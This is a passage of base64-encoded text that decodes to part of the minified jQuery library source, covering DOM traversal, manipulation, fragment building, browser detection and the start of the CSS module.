YgYSE9InN0cmluZyI/cChhLGJ8fHRoaXMuY29udGV4dCk6MDtmb3IoO2Q8ZTtkKyspe2M9dGhpc1tkXTt3aGlsZShjJiZjLm93bmVyRG9jdW1lbnQmJmMhPT1iJiZjLm5vZGVUeXBlIT09MTEpe2lmKGc/Zy5pbmRleChjKT4tMTpwLmZpbmQubWF0Y2hlc1NlbGVjdG9yKGMsYSkpe2YucHVzaChjKTticmVha31jPWMucGFyZW50Tm9kZX19cmV0dXJuIGY9Zi5sZW5ndGg+MT9wLnVuaXF1ZShmKTpmLHRoaXMucHVzaFN0YWNrKGYsImNsb3Nlc3QiLGEpfSxpbmRleDpmdW5jdGlvbihhKXtyZXR1cm4gYT90eXBlb2YgYT09InN0cmluZyI/cC5pbkFycmF5KHRoaXNbMF0scChhKSk6cC5pbkFycmF5KGEuanF1ZXJ5P2FbMF06YSx0aGlzKTp0aGlzWzBdJiZ0aGlzWzBdLnBhcmVudE5vZGU/dGhpcy5wcmV2QWxsKCkubGVuZ3RoOi0xfSxhZGQ6ZnVuY3Rpb24oYSxiKXt2YXIgYz10eXBlb2YgYT09InN0cmluZyI/cChhLGIpOnAubWFrZUFycmF5KGEmJmEubm9kZVR5cGU/W2FdOmEpLGQ9cC5tZXJnZSh0aGlzLmdldCgpLGMpO3JldHVybiB0aGlzLnB1c2hTdGFjayhiaChjWzBdKXx8YmgoZFswXSk/ZDpwLnVuaXF1ZShkKSl9LGFkZEJhY2s6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuYWRkKGE9PW51bGw/dGhpcy5wcmV2T2JqZWN0OnRoaXMucHJldk9iamVjdC5maWx0ZXIoYSkpfX0pLHAuZm4uYW5kU2VsZj1wLmZuLmFkZEJhY2sscC5lYWNoKHtwYXJlbnQ6ZnVuY3Rpb24oYSl7dmFyIGI9YS5wYXJlbnROb2RlO3JldHVybiBiJiZiLm5vZGVUeXBlIT09MTE/YjpudWxsfSxwYXJlbnRzOmZ1bmN0aW9uKGEpe3JldHVybiBwLmRpcihhLCJwYXJlbnROb2RlIil9LHBhcmVudHNVbnRpbDpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIHAuZGlyKGEsInBhcmVudE5vZGUiLGMpfSxuZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBiaShhLCJuZXh0U2libGluZyIpfSxwcmV2OmZ1bmN0aW9uKGEpe3JldHVybiBiaShhLCJwcmV2aW91c1NpYmxpbmciKX0sbmV4dEFsbDpmdW5jdGlvbihhKXtyZXR1cm4gcC5kaXIoYSwibmV4dFNpYmxpbmciKX0scHJldkFsbDpmdW5jdGlvbihhKXtyZXR1cm4gcC5kaXIoYSwicHJldmlvdXNTaWJsaW5nIil9LG5leHRVbnRpbDpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIHAuZGlyKGEsIm5leHRTaWJsaW5nIixjKX0scHJldlVudGlsOmZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gcC5kaXIoYSwicHJldmlvdXNTaWJsaW5nIixjKX0sc2libGluZ3M6ZnVuY3Rpb24oYSl7cmV0dXJuIHAuc2libGluZygoYS5wYXJlbnROb2RlfHx7fSkuZmlyc3RDaGlsZCxhKX0sY2hpbGRyZW46ZnVuY3Rpb24oYSl7cmV0dXJuIHAuc2libGluZyhhLmZpcnN0Q2hpbGQpfSxjb250ZW50czpmdW5jdGlvbihhKXtyZXR1cm4gcC5ub2RlTmFtZShhLCJpZnJhbWUiKT9hLmNvbnRlbnREb2N1bWVudHx8YS5jb250ZW50V2luZG93LmRvY3VtZW50OnAubWVyZ2UoW10sYS5jaGlsZE5vZGVzKX19LGZ1bmN0aW9uKGEsYil7cC5mblthXT1mdW5jdGlvbihjLGQpe3ZhciBlPXAubWFwKHRoaXMsYixjKTtyZXR1cm4gYmMudGVzdChhKXx8KGQ9YyksZCYmdHlwZW9mIGQ9PSJzdHJpbmciJiYoZT1wLmZpbHRlcihkLGUpKSxlPXRoaXMubGVuZ3RoPjEmJiFiZ1thXT9wLnVuaXF1ZShlKTplLHRoaXMubGVuZ3RoPjEmJmJkLnRlc3QoYSkmJihlPWUucmV2ZXJzZSgpKSx0aGlzLnB1c2hTdGFjayhlLGEsay5jYWxsKGFyZ3VtZW50cykuam9pbigiLCIpKX19KSxwLmV4dGVuZCh7ZmlsdGVyOmZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gYyYmKGE9Ijpub3QoIithKyIpIiksYi5sZW5ndGg9PT0xP3AuZmluZC5tYXRjaGVzU2VsZWN0b3IoYlswXSxhKT9bYlswXV06W106cC5maW5kLm1hdGNoZXMoYSxiKX0sZGlyOmZ1bmN0aW9uKGEsYyxkKXt2YXIgZT1bXSxmPWFbY107d2hpbGUoZiYmZi5ub2RlVHlwZSE9PTkmJihkPT09Ynx8Zi5ub2RlVHlwZSE9PTF8fCFwKGYpLmlzKGQpKSlmLm5vZGVUeXBlPT09MSYmZS5wdXNoKGYpLGY9ZltjXTtyZXR1cm4gZX0sc2libGluZzpmdW5jdGlvbihhLGIpe3ZhciBjPVtdO2Zvcig7YTthPWEubmV4dFNpYmxpbmcpYS5ub2RlVHlwZT09PTEmJmEhPT1iJiZjLnB1c2goYSk7cmV0dXJuIGN9fSk7dmFyIGJsPSJhYmJyfGFydGljbGV8YXNpZGV8YXVkaW98YmRpfGNhbnZhc3xkYXRhfGRhdGFsaXN0fGRldGFpbHN8ZmlnY2FwdGlvbnxmaWd1cmV8Zm9vdGVyfGhlYWRlcnxoZ3JvdXB8bWFya3xtZXRlcnxuYXZ8b3V0cHV0fHByb2dyZXNzfHNlY3Rpb258c3VtbWFyeXx0aW1lfHZpZGVvIixibT0vIGpRdWVyeVxkKz0iKD86bnVsbHxcZCspIi9nLGJuPS9eXHMrLyxibz0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2dpLGJwPS88KFtcdzpdKykvLGJxPS88dGJvZHkvaSxicj0vPHwmIz9cdys7Lyxicz0vPCg/OnNjcmlwdHxzdHlsZXxsaW5rKS9pLGJ0PS88KD86c2NyaXB0fG9iamVjdHxlbWJlZHxvcHRpb258c3R5bGUpL2ksYnU9bmV3IFJlZ0V4cCgiPCg/OiIrYmwrIilbXFxzLz5dIiwiaSIpLGJ2PS9eKD86Y2hlY2tib3h8cmFkaW8pJC8sYnc9L2NoZWNrZWRccyooPzpbXj1dfD1ccyouY2hlY2tlZC4pL2ksYng9L1wvKGphdmF8ZWNtYSlzY3JpcHQvaSxieT0vXlxzKjwhKD86XFtDREFUQVxbfFwtXC0pfFtcXVwtXXsyfT5ccyokL2csYno9e29wdGlvbjpbMSwiPHNlbGVjdCBtdWx0aXBsZT0nbXVsdGlwbGUnPiIsIjwvc2VsZWN0PiJdLGxlZ2VuZDpbMSwiPGZpZWxkc2V0PiIsIjwvZmllbGRzZXQ+Il0sdGhlYWQ6WzEsIjx0YWJsZT4iLCI8L3RhYmxlPiJdLHRyOlsyLCI8dGFibGU+PHRib2R5PiIsIjwvdGJvZHk+PC90YWJsZT4iXSx0ZDpbMywiPHRhYmxlPjx0Ym9keT48dHI+IiwiPC90cj48L3Rib2R5PjwvdGFibGU+Il0sY29sOlsyLCI8dGFibGU+PHRib2R5PjwvdGJvZHk+PGNvbGdyb3VwPiIsIjwvY29sZ3JvdXA+PC90YWJsZT4iXSxhcmVhOlsxLCI8bWFwPiIsIjwvbWFwPiJdLF9kZWZhdWx0OlswLCIiLCIiXX0sYkE9YmsoZSksYkI9YkEuYXBwZW5kQ2hpbGQoZS5jcmVhdGVFbGVtZW50KCJkaXYiKSk7Ynoub3B0Z3JvdXA9Ynoub3B0aW9uLGJ6LnRib2R5PWJ6LnRmb290PWJ6LmNvbGdyb3VwPWJ6LmNhcHRpb249YnoudGhlYWQsYnoudGg9YnoudGQscC5zdXBwb3J0Lmh0bWxTZXJpYWxpemV8fChiei5fZGVmYXVsdD1bMSwiWDxkaXY+IiwiPC9kaXY+Il0pLHAuZm4uZXh0ZW5kKHt0ZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBwLmFjY2Vzcyh0aGlzLGZ1bmN0aW9uKGEpe3JldHVybiBhPT09Yj9wLnRleHQodGhpcyk6dGhpcy5lbXB0eSgpLmFwcGVuZCgodGhpc1swXSYmdGhpc1swXS5vd25lckRvY3VtZW50fHxlKS5jcmVhdGVUZXh0Tm9kZShhKSl9LG51bGwsYSxhcmd1bWVudHMubGVuZ3RoKX0sd3JhcEFsbDpmdW5jdGlvbihhKXtpZihwLmlzRnVuY3Rpb24oYSkpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXtwKHRoaXMpLndyYXBBbGwoYS5jYWxsKHRoaXMsYikpfSk7aWYodGhpc1swXSl7dmFyIGI9cChhLHRoaXNbMF0ub3duZXJEb2N1bWVudCkuZXEoMCkuY2xvbmUoITApO3RoaXNbMF0ucGFyZW50Tm9kZSYmYi5pbnNlcnRCZWZvcmUodGhpc1swXSksYi5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzO3doaWxlKGEuZmlyc3RDaGlsZCYmYS5maXJzdENoaWxkLm5vZGVUeXBlPT09MSlhPWEuZmlyc3RDaGlsZDtyZXR1cm4gYX0pLmFwcGVuZCh0aGlzKX1yZXR1cm4gdGhpc30sd3JhcElubmVyOmZ1bmN0aW9uKGEpe3JldHVybiBwLmlzRnVuY3Rpb24oYSk/dGhpcy5lYWNoKGZ1bmN0aW9uKGIpe3AodGhpcykud3JhcElubmVyKGEuY2FsbCh0aGlzLGIpKX0pOnRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBiPXAodGhpcyksYz1iLmNvbnRlbnRzKCk7Yy5sZW5ndGg/Yy53cmFwQWxsKGEpOmIuYXBwZW5kKGEpfSl9LHdyYXA6ZnVuY3Rpb24oYSl7dmFyIGI9cC5pc0Z1bmN0aW9uKGEpO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7cCh0aGlzKS53cmFwQWxsKGI/YS5jYWxsKHRoaXMsYyk6YSl9KX0sdW53cmFwOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucGFyZW50KCkuZWFjaChmdW5jdGlvbigpe3Aubm9kZU5hbWUodGhpcywiYm9keSIpfHxwKHRoaXMpLnJlcGxhY2VXaXRoKHRoaXMuY2hpbGROb2Rlcyl9KS5lbmQoKX0sYXBwZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZG9tTWFuaXAoYXJndW1lbnRzLCEwLGZ1bmN0aW9uKGEpeyh0aGlzLm5vZGVUeXBlPT09MXx8dGhpcy5ub2RlVHlwZT09PTExKSYmdGhpcy5hcHBlbmRDaGlsZChhKX0pfSxwcmVwZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZG9tTWFuaXAoYXJndW1lbnRzLCEwLGZ1bmN0aW9uKGEpeyh0aGlzLm5vZGVUeXBlPT09MXx8dGhpcy5ub2RlVHlwZT09PTExKSYmdGhpcy5pbnNlcnRCZWZvcmUoYSx0aGlzLmZpcnN0Q2hpbGQpfSl9LGJlZm9yZTpmdW5jdGlvbigpe2lmKCFiaCh0aGlzWzBdKSlyZXR1cm4gdGhpcy5kb21NYW5pcChhcmd1bWVudHMsITEsZnVuY3Rpb24oYSl7dGhpcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLHRoaXMpfSk7aWYoYXJndW1lbnRzLmxlbmd0aCl7dmFyIGE9cC5jbGVhbihhcmd1bWVudHMpO3JldHVybiB0aGlzLnB1c2hTdGFjayhwLm1lcmdlKGEsdGhpcyksImJlZm9yZSIsdGhpcy5zZWxlY3Rvcil9fSxhZnRlcjpmdW5jdGlvbigpe2lmKCFiaCh0aGlzWzBdKSlyZXR1cm4gdGhpcy5kb21NYW5pcChhcmd1bWVudHMsITEsZnVuY3Rpb24oYSl7dGhpcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLHRoaXMubmV4dFNpYmxpbmcpfSk7aWYoYXJndW1lbnRzLmxlbmd0aCl7dmFyIGE9cC5jbGVhbihhcmd1bWVudHMpO3JldHVybiB0aGlzLnB1c2hTdGFjayhwLm1lcmdlKHRoaXMsYSksImFmdGVyIix0aGlzLnNlbGVjdG9yKX19LHJlbW92ZTpmdW5jdGlvbihhLGIpe3ZhciBjLGQ9MDtmb3IoOyhjPXRoaXNbZF0pIT1udWxsO2QrKylpZighYXx8cC5maWx0ZXIoYSxbY10pLmxlbmd0aCkhYiYmYy5ub2RlVHlwZT09PTEmJihwLmNsZWFuRGF0YShjLmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIikpLHAuY2xlYW5EYXRhKFtjXSkpLGMucGFyZW50Tm9kZSYmYy5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGMpO3JldHVybiB0aGlzfSxlbXB0eTpmdW5jdGlvbigpe3ZhciBhLGI9MDtmb3IoOyhhPXRoaXNbYl0pIT1udWxsO2IrKyl7YS5ub2RlVHlwZT09PTEmJnAuY2xlYW5EYXRhKGEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKSk7d2hpbGUoYS5maXJzdENoaWxkKWEucmVtb3ZlQ2hpbGQoYS5maXJzdENoaWxkKX1yZXR1cm4gdGhpc30sY2xvbmU6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gYT1hPT1udWxsPyExOmEsYj1iPT1udWxsP2E6Yix0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiBwLmNsb25lKHRoaXMsYSxiKX0pfSxodG1sOmZ1bmN0aW9uKGEpe3JldHVybiBwLmFjY2Vzcyh0aGlzLGZ1bmN0aW9uKGEpe3ZhciBjPXRoaXNbMF18fHt9LGQ9MCxlPXRoaXMubGVuZ3RoO2lmKGE9PT1iKXJldHVybiBjLm5vZGVUeXBlPT09MT9jLmlubmVySFRNTC5yZXBsYWNlKGJtLCIiKTpiO2lmKHR5cGVvZiBhPT0ic3RyaW5nIiYmIWJzLnRlc3QoYSkmJihwLnN1cHBvcnQuaHRtbFNlcmlhbGl6ZXx8IWJ1LnRlc3QoYSkpJiYocC5zdXBwb3J0LmxlYWRpbmdXaGl0ZXNwYWNlfHwhYm4udGVzdChhKSkmJiFielsoYnAuZXhlYyhhKXx8WyIiLCIiXSlbMV0udG9Mb3dlckNhc2UoKV0pe2E9YS5yZXBsYWNlKGJvLCI8JDE+PC8kMj4iKTt0cnl7Zm9yKDtkPGU7ZCsrKWM9dGhpc1tkXXx8e30sYy5ub2RlVHlwZT09PTEmJihwLmNsZWFuRGF0YShjLmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIikpLGMuaW5uZXJIVE1MPWEpO2M9MH1jYXRjaChmKXt9fWMmJnRoaXMuZW1wdHkoKS5hcHBlbmQoYSl9LG51bGwsYSxhcmd1bWVudHMubGVuZ3RoKX0scmVwbGFjZVdpdGg6ZnVuY3Rpb24oYSl7cmV0dXJuIGJoKHRoaXNbMF0pP3RoaXMubGVuZ3RoP3RoaXMucHVzaFN0YWNrKHAocC5pc0Z1bmN0aW9uKGEpP2EoKTphKSwicmVwbGFjZVdpdGgiLGEpOnRoaXM6cC5pc0Z1bmN0aW9uKGEpP3RoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgYz1wKHRoaXMpLGQ9Yy5odG1sKCk7Yy5yZXBsYWNlV2l0aChhLmNhbGwodGhpcyxiLGQpKX0pOih0eXBlb2YgYSE9InN0cmluZyImJihhPXAoYSkuZGV0YWNoKCkpLHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBiPXRoaXMubmV4dFNpYmxpbmcsYz10aGlzLnBhcmVudE5vZGU7cCh0aGlzKS5yZW1vdmUoKSxiP3AoYikuYmVmb3JlKGEpOnAoYykuYXBwZW5kKGEpfSkpfSxkZXRhY2g6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMucmVtb3ZlKGEsITApfSxkb21NYW5pcDpmdW5jdGlvbihhLGMsZCl7YT1bXS5jb25jYXQuYXBwbHkoW10sYSk7dmFyIGUsZixnLGgsaT0wLGo9YVswXSxrPVtdLGw9dGhpcy5sZW5ndGg7aWYoIXAuc3VwcG9ydC5jaGVja0Nsb25lJiZsPjEmJnR5cGVvZiBqPT0ic3RyaW5nIiYmYncudGVzdChqKSlyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7cCh0aGlzKS5kb21NYW5pcChhLGMsZCl9KTtpZihwLmlzRnVuY3Rpb24oaikpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihlKXt2YXIgZj1wKHRoaXMpO2FbMF09ai5jYWxsKHRoaXMsZSxjP2YuaHRtbCgpOmIpLGYuZG9tTWFuaXAoYSxjLGQpfSk7aWYodGhpc1swXSl7ZT1wLmJ1aWxkRnJhZ21lbnQoYSx0aGlzLGspLGc9ZS5mcmFnbWVudCxmPWcuZmlyc3RDaGlsZCxnLmNoaWxkTm9kZXMubGVuZ3RoPT09MSYmKGc9Zik7aWYoZil7Yz1jJiZwLm5vZGVOYW1lKGYsInRyIik7Zm9yKGg9ZS5jYWNoZWFibGV8fGwtMTtpPGw7aSsrKWQuY2FsbChjJiZwLm5vZGVOYW1lKHRoaXNbaV0sInRhYmxlIik/YkModGhpc1tpXSwidGJvZHkiKTp0aGlzW2ldLGk9PT1oP2c6cC5jbG9uZShnLCEwLCEwKSl9Zz1mPW51bGwsay5sZW5ndGgmJnAuZWFjaChrLGZ1bmN0aW9uKGEsYil7Yi5zcmM/cC5hamF4P3AuYWpheCh7dXJsOmIuc3JjLHR5cGU6IkdFVCIsZGF0YVR5cGU6InNjcmlwdCIsYXN5bmM6ITEsZ2xvYmFsOiExLCJ0aHJvd3MiOiEwfSk6cC5lcnJvcigibm8gYWpheCIpOnAuZ2xvYmFsRXZhbCgoYi50ZXh0fHxiLnRleHRDb250ZW50fHxiLmlubmVySFRNTHx8IiIpLnJlcGxhY2UoYnksIiIpKSxiLnBhcmVudE5vZGUmJmIucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChiKX0pfXJldHVybiB0aGlzfX0pLHAuYnVpbGRGcmFnbWVudD1mdW5jdGlvbihhLGMsZCl7dmFyIGYsZyxoLGk9YVswXTtyZXR1cm4gYz1jfHxlLGM9IWMubm9kZVR5cGUmJmNbMF18fGMsYz1jLm93bmVyRG9jdW1lbnR8fGMsYS5sZW5ndGg9PT0xJiZ0eXBlb2YgaT09InN0cmluZyImJmkubGVuZ3RoPDUxMiYmYz09PWUmJmkuY2hhckF0KDApPT09IjwiJiYhYnQudGVzdChpKSYmKHAuc3VwcG9ydC5jaGVja0Nsb25lfHwhYncudGVzdChpKSkmJihwLnN1cHBvcnQuaHRtbDVDbG9uZXx8IWJ1LnRlc3QoaSkpJiYoZz0hMCxmPXAuZnJhZ21lbnRzW2ldLGg9ZiE9PWIpLGZ8fChmPWMuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpLHAuY2xlYW4oYSxjLGYsZCksZyYmKHAuZnJhZ21lbnRzW2ldPWgmJmYpKSx7ZnJhZ21lbnQ6ZixjYWNoZWFibGU6Z319LHAuZnJhZ21lbnRzPXt9LHAuZWFjaCh7YXBwZW5kVG86ImFwcGVuZCIscHJlcGVuZFRvOiJwcmVwZW5kIixpbnNlcnRCZWZvcmU6ImJlZm9yZSIsaW5zZXJ0QWZ0ZXI6ImFmdGVyIixyZXBsYWNlQWxsOiJyZXBsYWNlV2l0aCJ9LGZ1bmN0aW9uKGEsYil7cC5mblthXT1mdW5jdGlvbihjKXt2YXIgZCxlPTAsZj1bXSxnPXAoYyksaD1nLmxlbmd0aCxpPXRoaXMubGVuZ3RoPT09MSYmdGhpc1swXS5wYXJlbnROb2RlO2lmKChpPT1udWxsfHxpJiZpLm5vZGVUeXBlPT09MTEmJmkuY2hpbGROb2Rlcy5sZW5ndGg9PT0xKSYmaD09PTEpcmV0dXJuIGdbYl0odGhpc1swXSksdGhpcztmb3IoO2U8aDtlKyspZD0oZT4wP3RoaXMuY2xvbmUoITApOnRoaXMpLmdldCgpLHAoZ1tlXSlbYl0oZCksZj1mLmNvbmNhdChkKTtyZXR1cm4gdGhpcy5wdXNoU3RhY2soZixhLGcuc2VsZWN0b3IpfX0pLHAuZXh0ZW5kKHtjbG9uZTpmdW5jdGlvbihhLGIsYyl7dmFyIGQsZSxmLGc7cC5zdXBwb3J0Lmh0bWw1Q2xvbmV8fHAuaXNYTUxEb2MoYSl8fCFidS50ZXN0KCI8IithLm5vZGVOYW1lKyI+Iik/Zz1hLmNsb25lTm9kZSghMCk6KGJCLmlubmVySFRNTD1hLm91dGVySFRNTCxiQi5yZW1vdmVDaGlsZChnPWJCLmZpcnN0Q2hpbGQpKTtpZigoIXAuc3VwcG9ydC5ub0Nsb25lRXZlbnR8fCFwLnN1cHBvcnQubm9DbG9uZUNoZWNrZWQpJiYoYS5ub2RlVHlwZT09PTF8fGEubm9kZVR5cGU9PT0xMSkmJiFwLmlzWE1MRG9jKGEpKXtiRShhLGcpLGQ9YkYoYSksZT1iRihnKTtmb3IoZj0wO2RbZl07KytmKWVbZl0mJmJFKGRbZl0sZVtmXSl9aWYoYil7YkQoYSxnKTtpZihjKXtkPWJGKGEpLGU9YkYoZyk7Zm9yKGY9MDtkW2ZdOysrZiliRChkW2ZdLGVbZl0pfX1yZXR1cm4gZD1lPW51bGwsZ30sY2xlYW46ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGYsZyxoLGksaixrLGwsbSxuLG8scSxyLHM9Yj09PWUmJmJBLHQ9W107aWYoIWJ8fHR5cGVvZiBiLmNyZWF0ZURvY3VtZW50RnJhZ21lbnQ9PSJ1bmRlZmluZWQiKWI9ZTtmb3IoZj0wOyhoPWFbZl0pIT1udWxsO2YrKyl7dHlwZW9mIGg9PSJudW1iZXIiJiYoaCs9IiIpO2lmKCFoKWNvbnRpbnVlO2lmKHR5cGVvZiBoPT0ic3RyaW5nIilpZighYnIudGVzdChoKSloPWIuY3JlYXRlVGV4dE5vZGUoaCk7ZWxzZXtzPXN8fGJrKGIpLGw9Yi5jcmVhdGVFbGVtZW50KCJkaXYiKSxzLmFwcGVuZENoaWxkKGwpLGg9aC5yZXBsYWNlKGJvLCI8JDE+PC8kMj4iKSxpPShicC5leGVjKGgpfHxbIiIsIiJdKVsxXS50b0xvd2VyQ2FzZSgpLGo9YnpbaV18fGJ6Ll9kZWZhdWx0LGs9alswXSxsLmlubmVySFRNTD1qWzFdK2gralsyXTt3aGlsZShrLS0pbD1sLmxhc3RDaGlsZDtpZighcC5zdXBwb3J0LnRib2R5KXttPWJxLnRlc3QoaCksbj1pPT09InRhYmxlIiYmIW0/bC5maXJzdENoaWxkJiZsLmZpcnN0Q2hpbGQuY2hpbGROb2RlczpqWzFdPT09Ijx0YWJsZT4iJiYhbT9sLmNoaWxkTm9kZXM6W107Zm9yKGc9bi5sZW5ndGgtMTtnPj0wOy0tZylwLm5vZGVOYW1lKG5bZ10sInRib2R5IikmJiFuW2ddLmNoaWxkTm9kZXMubGVuZ3RoJiZuW2ddLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobltnXSl9IXAuc3VwcG9ydC5sZWFkaW5nV2hpdGVzcGFjZSYmYm4udGVzdChoKSYmbC5pbnNlcnRCZWZvcmUoYi5jcmVhdGVUZXh0Tm9kZShibi5leGVjKGgpWzBdKSxsLmZpcnN0Q2hpbGQpLGg9bC5jaGlsZE5vZGVzLGwucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChsKX1oLm5vZGVUeXBlP3QucHVzaChoKTpwLm1lcmdlKHQsaCl9bCYmKGg9bD1zPW51bGwpO2lmKCFwLnN1cHBvcnQuYXBwZW5kQ2hlY2tlZClmb3IoZj0wOyhoPXRbZl0pIT1udWxsO2YrKylwLm5vZGVOYW1lKGgsImlucHV0Iik/YkcoaCk6dHlwZW9mIGguZ2V0RWxlbWVudHNCeVRhZ05hbWUhPSJ1bmRlZmluZWQiJiZwLmdyZXAoaC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKSxiRyk7aWYoYyl7cT1mdW5jdGlvbihhKXtpZighYS50eXBlfHxieC50ZXN0KGEudHlwZSkpcmV0dXJuIGQ/ZC5wdXNoKGEucGFyZW50Tm9kZT9hLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoYSk6YSk6Yy5hcHBlbmRDaGlsZChhKX07Zm9yKGY9MDsoaD10W2ZdKSE9bnVsbDtmKyspaWYoIXAubm9kZU5hbWUoaCwic2NyaXB0Iil8fCFxKGgpKWMuYXBwZW5kQ2hpbGQoaCksdHlwZW9mIGguZ2V0RWxlbWVudHNCeVRhZ05hbWUhPSJ1bmRlZmluZWQiJiYocj1wLmdyZXAocC5tZXJnZShbXSxoLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKSkscSksdC5zcGxpY2UuYXBwbHkodCxbZisxLDBdLmNvbmNhdChyKSksZis9ci5sZW5ndGgpfXJldHVybiB0fSxjbGVhbkRhdGE6ZnVuY3Rpb24oYSxiKXt2YXIgYyxkLGUsZixnPTAsaD1wLmV4cGFuZG8saT1wLmNhY2hlLGo9cC5zdXBwb3J0LmRlbGV0ZUV4cGFuZG8saz1wLmV2ZW50LnNwZWNpYWw7Zm9yKDsoZT1hW2ddKSE9bnVsbDtnKyspaWYoYnx8cC5hY2NlcHREYXRhKGUpKXtkPWVbaF0sYz1kJiZpW2RdO2lmKGMpe2lmKGMuZXZlbnRzKWZvcihmIGluIGMuZXZlbnRzKWtbZl0/cC5ldmVudC5yZW1vdmUoZSxmKTpwLnJlbW92ZUV2ZW50KGUsZixjLmhhbmRsZSk7aVtkXSYmKGRlbGV0ZSBpW2RdLGo/ZGVsZXRlIGVbaF06ZS5yZW1vdmVBdHRyaWJ1dGU/ZS5yZW1vdmVBdHRyaWJ1dGUoaCk6ZVtoXT1udWxsLHAuZGVsZXRlZElkcy5wdXNoKGQpKX19fX0pLGZ1bmN0aW9uKCl7dmFyIGEsYjtwLnVhTWF0Y2g9ZnVuY3Rpb24oYSl7YT1hLnRvTG93ZXJDYXNlKCk7dmFyIGI9LyhjaHJvbWUpWyBcL10oW1x3Ll0rKS8uZXhlYyhhKXx8Lyh3ZWJraXQpWyBcL10oW1x3Ll0rKS8uZXhlYyhhKXx8LyhvcGVyYSkoPzouKnZlcnNpb258KVsgXC9dKFtcdy5dKykvLmV4ZWMoYSl8fC8obXNpZSkgKFtcdy5dKykvLmV4ZWMoYSl8fGEuaW5kZXhPZigiY29tcGF0aWJsZSIpPDAmJi8obW96aWxsYSkoPzouKj8gcnY6KFtcdy5dKyl8KS8uZXhlYyhhKXx8W107cmV0dXJue2Jyb3dzZXI6YlsxXXx8IiIsdmVyc2lvbjpiWzJdfHwiMCJ9fSxhPXAudWFNYXRjaChnLnVzZXJBZ2VudCksYj17fSxhLmJyb3dzZXImJihiW2EuYnJvd3Nlcl09ITAsYi52ZXJzaW9uPWEudmVyc2lvbiksYi5jaHJvbWU/Yi53ZWJraXQ9ITA6Yi53ZWJraXQmJihiLnNhZmFyaT0hMCkscC5icm93c2VyPWIscC5zdWI9ZnVuY3Rpb24oKXtmdW5jdGlvbiBhKGIsYyl7cmV0dXJuIG5ldyBhLmZuLmluaXQoYixjKX1wLmV4dGVuZCghMCxhLHRoaXMpLGEuc3VwZXJjbGFzcz10aGlzLGEuZm49YS5wcm90b3R5cGU9dGhpcygpLGEuZm4uY29uc3RydWN0b3I9YSxhLnN1Yj10aGlzLnN1YixhLmZuLmluaXQ9ZnVuY3Rpb24gYyhjLGQpe3JldHVybiBkJiZkIGluc3RhbmNlb2YgcCYmIShkIGluc3RhbmNlb2YgYSkmJihkPWEoZCkpLHAuZm4uaW5pdC5jYWxsKHRoaXMsYyxkLGIpfSxhLmZuLmluaXQucHJvdG90eXBlPWEuZm47dmFyIGI9YShlKTtyZXR1cm4gYX19KCk7dmFyIGJILGJJLGJKLGJLPS9hbHBoYVwoW14pXSpcKS9pLGJMPS9vcGFjaXR5PShbXildKikvLGJNPS9eKHRvcHxyaWdodHxib3R0b218bGVmdCkkLyxiTj0vXihub25lfHRhYmxlKD8hLWNbZWFdKS4rKS8sYk89L15tYXJnaW4vLGJQPW5ldyBSZWdFeHAoIl4oIitxKyIpKC4qKSQiLCJpIiksYlE9bmV3IFJlZ0V4cCgiXigiK3ErIikoPyFweClbYS16JV0rJCIsImkiKSxiUj1uZXcgUmVnRXhwKCJeKFstK10pPSgiK3ErIikiLCJpIiksYlM9e30sYlQ9e3Bvc2l0aW9uOiJhYnNvbHV0ZSIsdmlzaWJpbGl0eToiaGlkZGVuIixkaXNwbGF5OiJibG9jayJ9LGJVPXtsZXR0ZXJTcGFjaW5nOjAsZm9udFdlaWdodDo0MDB9LGJWPVsiVG9wIiwiUmlnaHQiLCJCb3R0b20iLCJMZWZ0Il0sYlc9WyJXZWJraXQiLCJPIiwiTW96IiwibXMiXSxiWD1wLmZuLnRvZ2dsZTtwLmZuLmV4dGVuZCh7Y3NzOmZ1bmN0aW9uKGEsYyl7cmV0dXJuIHAuYWNjZXNzKHRoaXMsZnVuY3Rpb24oYSxjLGQpe3JldHVybiBkIT09Yj9wLnN0eWxlKGEsYyxkKTpwLmNzcyhhLGMpfSxhLGMsYXJndW1lbnRzLmxlbmd0aD4xKX0sc2hvdzpmdW5jdGlvbigpe3JldHVybiBiJCh0aGlzLCEwKX0saGlkZTpmdW5jdGlvbigpe3JldHVybiBiJCh0aGlzKX0sdG9nZ2xlOmZ1bmN0aW9uKGEsYil7dmFyIGM9dHlwZW9mIGE9PSJib29sZWFuIjtyZXR1cm4gcC5